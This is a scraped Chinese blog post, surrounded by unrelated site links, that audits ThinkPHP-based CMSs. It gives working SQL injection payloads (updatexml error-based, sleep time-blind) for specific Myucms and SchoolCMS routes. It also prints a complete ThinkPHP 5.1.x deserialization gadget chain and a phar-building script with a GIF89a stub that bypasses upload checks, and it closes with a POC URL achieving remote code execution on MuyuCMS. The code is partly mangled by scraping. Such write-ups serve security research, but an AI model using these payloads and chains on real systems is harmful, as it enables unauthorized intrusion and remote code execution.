当前位置: 首页 > news >正文

html5 做网站网站建设谈单思路

html5 做网站,网站建设谈单思路,响应式布局怎么实现,深圳城市规划设计研究官方网站ThinkPHP代码审计(1) 不安全的SQL注入PHP反序列化链子phar利用简单的CMS审计实例 文章目录 ThinkPHP代码审计(1) 不安全的SQL注入PHP反序列化链子phar利用简单的CMS审计实例一.Thinkphp5不安全的SQL写法二.Thinkphp3 SQL注入三.Thinkphp链5.1.x结合phar实现…ThinkPHP代码审计(1) 不安全的SQL注入PHP反序列化链子phar利用简单的CMS审计实例 文章目录 ThinkPHP代码审计(1) 不安全的SQL注入PHP反序列化链子phar利用简单的CMS审计实例一.Thinkphp5不安全的SQL写法二.Thinkphp3 SQL注入三.Thinkphp链5.1.x结合phar实现RCE1.自动生成2.手动构造实例分析 一.Thinkphp5不安全的SQL写法 Thinkphp官方提供了SQL接口已经为SQL语句进行了预编译 但是不安全的写法仍然可以造成SQL注入 https://www.kancloud.cn/manual/thinkphp5/135176 //官方写法public function login(Request $request){​ //index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23​ $id$request-param(id);​ $dataDb::table(cw_admin)-where(id,$id)-find();//以数组形式传递​ return $data[user].|.$data[pass];}​ 这里的SQL语句相等于直接进行SQL语句拼接 //不安全写法public function login1(Request $request){​ //index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23​ $id$request-param(id);​ $dataDb::table(cw_admin)-where(id $id)-find();//直接进行赋值​ return $data[user].|.$data[pass];}比如Myucms 2021版 中 前台SQL 注入 可以判断是基于Thinkphp 5.0.24二开的 我们暂时忽略后台SQL没有实战意义 可以发现在application/bbs/controller/User.php 前台bbs可能存在 SQL注入 public function xiaoxidel($ids){if (!session(userid) || !session(username)) {$this-error(亲请登录,url(bbs/login/index));} else {if ($ids0) {$id input(id);$data[open] 1;if (Db::name(xiaoxi)-where(id {$id})-where(userid, session(userid))-update($data)) {return json(array(code 200, msg 标记已读成功));} else {return json(array(code 0, msg 标记已读失败));}}elseif ($ids1){$id input(id);if (Db::name(xiaoxi)-where(id {$id})-where(userid, session(userid))-delete($id)) {return json(array(code 200, msg 彻底删除成功));} else {return json(array(code 0, msg 彻底删除失败));}}}}在功能点处 xiaoxidel为了触发 SQL语句 1.保证登录用户登录状态session 2.ids0 3.idpayload 可以访问路由/index.php/bbs/User/xiaoxidel 判断功能点存在 /index.php/bbs/User/xiaoxidel/ids/0/id/1 and updatexml(1,concat(~,user(),~),1)可以判断确实存在SQL注入 也可以黑盒测试一下 也存在SQL注入 二.Thinkphp3 SQL注入 原理分析https://www.freebuf.com/articles/web/345544.html schoolcms也是基于MVC-thinkphp框架实现二开 https://github.com/gongfuxiang/schoolcms 基于 Thinkphp 3.2 顺便访问一下网站 注意路由访问方式index.php?mHomecArticleaIndexid1 Application/Admin/Controller/ArticleController.class.php SaveInfo功能 这里直接拼接可控变量到查询语句中 判断功能点存在 index.php?mAdmincArticleaSaveInfo 测试了一下爆错没有数据回显 测下 时间盲注index.php?mAdmincArticleaSaveInfoid[where]id1 and sleep(3) %23 可以判断存在SQL时间盲注 三.Thinkphp链5.1.x结合phar实现RCE thinkphp 5.0.x思路类似 渗透实战中往往使用phpggc实现快速利用 结合已知的phpggc小工具利用链文件上传功能phar文件 常见触发 phar 关键函数 和文件流相关操作有关 实现隐式反序列化 原理 Phar文件结构 phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件在PHP 5.3 或更高版本中默认开启一个phar文件一个分为四部分 1.a stub 可以理解为一个标志格式为xxx?php xxx; __HALT_COMPILER();?前面内容不限但必须以__HALT_COMPILER();来结尾否则phar扩展将无法识别这个文件为phar文件 2.a manifest describing the contents phar文件本质上是一种压缩文件其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data这是上述攻击手法最核心的地方 3.the file contents 被压缩文件的内容 4.[optional] a signature for verifying Phar integrity (phar file format only) 签名放在文件末尾 当通过phar伪协议访问 phar文件时会自动反序列化 属性 等价于实现了 unserialize(phar的属性) 常用 file_exists(),is_dir(),fopen(),file_get_contents(),file()等文件操作的函数 1.自动生成 ./phpggc -s ThinkPHP/RCE1 system calc -pj Cat03.jpg -o cat.jpg 现在只要有上传点phar就可以实现RCE了 2.手动构造 结合gadgets.php ?php namespace think\process\pipes {class Windows{private $files;public function __construct($files){$this-files array($files);}} }namespace think\model\concern {trait Conversion{protected $append array(smi1e 1);}trait Attribute{private $data;private $withAttr array(smi1e system);public function get($system){$this-data array(smi1e $system);}} } namespace think {abstract class Model{use model\concern\Attribute;use model\concern\Conversion;} }namespace think\model{use think\Model;class Pivot extends Model{public function __construct($system){$this-get($system);}} } 在chain.php中 ?phpnamespace GadgetChain\ThinkPHP;class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall {public static $version 5.1.x-5.2.x;public static $vector __destruct;public static $author Smi1e;public static $information This chain can only execute system().Because the second parameter is uncontrollable;public function generate(array $parameters){$function $parameters[function];$parameter $parameters[parameter];$Conver new \think\model\Pivot($parameter);return new \think\process\pipes\Windows($Conver);} }定义namespace命名空间 return回来的数据就是序列化的数据 ?php namespace think\process\pipes {class Windows{private $files;public function __construct($files){$this-files array($files);}} }namespace think\model\concern {trait Conversion{protected $append array(smi1e 1);}trait Attribute{private $data;private $withAttr array(smi1e system);public function get(){$this-data array(smi1e calc);}} } namespace think {abstract class Model{use model\concern\Attribute;use model\concern\Conversion;} }namespace think\model{use think\Model;class Pivot extends Model{public function __construct(){$this-get();}} }namespace {$conver new think\model\Pivot();$a new think\process\pipes\Windows($conver);$phar new Phar(x.phar);$phar - stopBuffering();$phar - setStub(GIF89a.?php __HALT_COMPILER();?);$phar - addFromString(test.txt,test);$phar - setMetadata($a);$phar - stopBuffering(); } ?phar签名添加GIF89a绕过图片类型检测 实例分析 以MuyuCMS木鱼cms审计为例子 存在后台图片上传phar实getshell的效果 https://github.com/MuYuCMS/MuYuCMS 先查看index.php 判断应用入口 判断内置thinkphp版本 5.1.41 可以拿通用的5.1.X反序列化链打 可以全局搜索一些关键函数 file_exists(),fopen(),file_get_contents(),file()等文件操作的函数 比如在application/admin/controller/Update.php存在判断file_exists public function rmdirr($dirname){// Sanity checkif (!file_exists($dirname)) {return false;}// Simple delete for a fileif (is_file($dirname) || is_link($dirname)) {return unlink($dirname);}// Loop through the folder$dir dir($dirname);while (false ! $entry $dir-read()) {// Skip pointersif ($entry . || $entry ..) {continue;}if($entry mdata){continue;}// Recurse$this-rmdirr($dirname . DIRECTORY_SEPARATOR . $entry);}// Clean up$dir-close();return rmdir($dirname);}目标函数名是 rmdirr没有判断需要绕过可控dirname的值 application/admin/controller/Update.php 对应的路由host/admin.php/update/rmdir.html?dirnamephar://可以在内容上传处存在 尝试上传 phpgcc一把梭的文件 发现对 文件头做了过滤但是我们可以手工生成一下phar链 弹出一个计算器就算成功 ?php namespace think\process\pipes {class Windows{private $files;public function __construct($files){$this-files array($files);}} }namespace think\model\concern {trait Conversion{protected $append array(smi1e 1);}trait Attribute{private $data;private $withAttr array(smi1e system);public function get(){$this-data array(smi1e calc);}} } namespace think {abstract class Model{use model\concern\Attribute;use model\concern\Conversion;} }namespace think\model{use think\Model;class Pivot extends Model{public function __construct(){$this-get();}} }namespace {$conver new think\model\Pivot();$a new think\process\pipes\Windows($conver);$phar new Phar(x.phar);$phar - stopBuffering();$phar - setStub(GIF89a.?php __HALT_COMPILER();?);$phar - addFromString(test.txt,test);$phar - setMetadata($a);$phar - stopBuffering(); } ?修改phar后缀为jpg文件后缀 可以成功上传phar文件 /public/upload/images/660fcf186ab58.jpg POC http://127.0.0.13//admin.php/update/rmdirr?dirnamephar://.//public/upload/images/660fcf186ab58.jpg 可以实现攻击 下篇文章结合thinkphp5.x的原理实现做几道最近的CTF题
http://www.tj-hxxt.cn/news/223565.html

相关文章:

  • 网站建设 苏州建设银行中国网站
  • 网站添加背景音乐宁波外贸公司招聘
  • 家政服务网站做推广有效果吗获取排名
  • 商丘哪里做网站手机大全及价格
  • 做外贸的网站需要什么网站还需要备案么
  • app ui设计网站常州网站制作企业
  • 品牌外贸网站建设推一把网络营销学院
  • iis网站建设连云港网站建设开发
  • 关于网站建设费用微信商城官方入口
  • 明港网站建设网站模板 手机app展示
  • 佛山网站建设哪儿有照片在线编辑
  • 备案号被取消 没有重新备案网站会被关闭吗网站开发招标公告
  • app购物网站建设网站设计制作的服务商
  • 昆明网站seo多少钱免费域名解析网站建设
  • 网站布局模板舟山高端网站建设
  • 网站优化策划方案网站管理员登陆域名
  • 洛阳作公司网站做h5的网站页面
  • 学做网站要什么基础wordpress配置报错
  • 专业长春网站建设哪家好火车头采集器和wordpress
  • 做外贸的人经常用什么网站重庆旅游网站建设地址
  • 漳州专业网站建设费用wordpress 压缩gif插件
  • 石家庄市建设局质监站网站中国网络营销论坛
  • 马蜂窝是什么做的网站wordpress视频防盗链
  • 班级网站素材下载网站建设收获与体会
  • 有哪些在线做图的网站电子商务网站设计html模板
  • 南充做网站略奥网络网站优化排名公司
  • 做外文翻译的网站制作图片软件免费版
  • 国内旅行做行程网站wordpress模板是什么意思
  • 广州seo网站推广技巧app手机软件
  • 可不可以自己做网站沙井做网站的公司